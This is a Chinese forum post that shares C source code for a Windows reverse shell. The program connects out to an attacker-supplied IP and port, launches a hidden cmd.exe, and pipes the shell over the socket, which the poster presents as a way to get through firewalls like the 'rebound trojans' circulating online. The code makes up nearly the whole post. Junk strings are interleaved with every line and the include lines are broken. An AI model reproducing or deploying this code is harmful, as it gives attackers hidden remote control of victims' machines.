社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 6272阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 S|%f<zAtJ  
@GG Pw9a  
/* ============================== $u9y H Z  
Rebound port in Windows NT 8Mq] V v  
By wind,2006/7 HJ*W3Mg  
===============================*/ n'JwT! A  
#include 89'XOXl&1  
#include @3K 4,s  
M+ gYKPP  
#pragma comment(lib,"wsock32.lib") `1KZ14K  
V< @]Iv  
void OutputShell(); h2Z Gh  
SOCKET sClient; +S:(cz80V  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 94F9f^ L  
w7"Z @$fs  
void main(int argc,char **argv) QP?Z+P<  
{ 3D k W  
WSADATA stWsaData; C``%<)WC  
int nRet; c)M_&?J!5  
SOCKADDR_IN stSaiClient,stSaiServer; xgtdmv%  
|YQ:4'^"  
if(argc != 3) g/4.^c  
{ lYeot8  
printf("Useage:\n\rRebound DestIP DestPort\n"); 2`l$uEI3oJ  
return; J%;TK6  
} ewk62 {  
>"S'R9t  
WSAStartup(MAKEWORD(2,2),&stWsaData); a$FELlMv  
Sg0 _l(  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }$;T.[ ~  
o;\0xuM@  
stSaiClient.sin_family = AF_INET; >0SF79-RE  
stSaiClient.sin_port = htons(0); ?jBna ~  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); s0.yPA  
/H,!7!6>?  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) U,+kV?Z  
{ w-|i8%X  
printf("Bind Socket Failed!\n"); |jaUVE_2[  
return; Zcz)FP#  
} 7Z"mVh}  
6,0pkx&Nv  
stSaiServer.sin_family = AF_INET; >&aFSL,f  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); IX^k<Jqr  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); M:nXn7)+  
sN 7I~  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) n\.K:t[:  
{ <0R7uH  
printf("Connect Error!"); E[6JHBE*r  
return; x"v5'EpL  
} QO7 > XHn  
OutputShell(); =6j  5,  
} ~7b '4\  
I1&Z@[  
void OutputShell() McxJ C<  
{ |RwD]2H  
char szBuff[1024]; |VlAt#E  
SECURITY_ATTRIBUTES stSecurityAttributes; RV^2[Gdi  
OSVERSIONINFO stOsversionInfo; =5%jKHo+9z  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; "(/|[7D)  
STARTUPINFO stStartupInfo; ~DPg):cZ  
char *szShell; g;\zD_":l  
PROCESS_INFORMATION stProcessInformation; x7l)i!/$  
unsigned long lBytesRead; /+sn -$/"i  
7-w +/fv  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); >('L2]4\v  
wv ,F>5P  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); )(\5Wk9(  
stSecurityAttributes.lpSecurityDescriptor = 0; {+z+6i  
stSecurityAttributes.bInheritHandle = TRUE; l8GziM{lp  
`\q4z-<-  
Rr4r[g#  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 2[9hl@=%  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); /Rx%}~x/m  
kdQ=%  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); o,D>7|h  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %I(N  
stStartupInfo.wShowWindow = SW_HIDE; mV`Z]-$$i  
stStartupInfo.hStdInput = hReadPipe; i layU  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; z6|P]u  
/_x?PiL  
GetVersionEx(&stOsversionInfo); Bu>srX9f  
;'}1   
switch(stOsversionInfo.dwPlatformId) \P}~ICZA  
{ sUfH1w)0  
case 1: <|hvH  
szShell = "command.com"; AJ^9[j}  
break; zJ3{!E}`v  
default: "p#mNc  
szShell = "cmd.exe"; a`q">T%q  
break; e]uk}#4  
} ztgSd8GGE  
]#j]yGV  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); V_Wv(G0-\  
{/XzIOO;b  
send(sClient,szMsg,77,0); iW-w?!>|m  
while(1) 9N5 &N3  
{ r$=iM:kERC  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); I Zi1N  
if(lBytesRead) fk#SD "iJ  
{ Rzj5B\+Rk(  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); IObGmc  
send(sClient,szBuff,lBytesRead,0); !RFlv  
} 8nt:peJ$+  
else 5``/exG>  
{ l yF~E  
lBytesRead=recv(sClient,szBuff,1024,0); \n6#D7OV  
if(lBytesRead<=0) break; BV9B}IV  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); eqZ V/a  
} XBF#ILJ  
} ] 8+!  
S'9T>&<Kn  
return; FU;Tv).  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五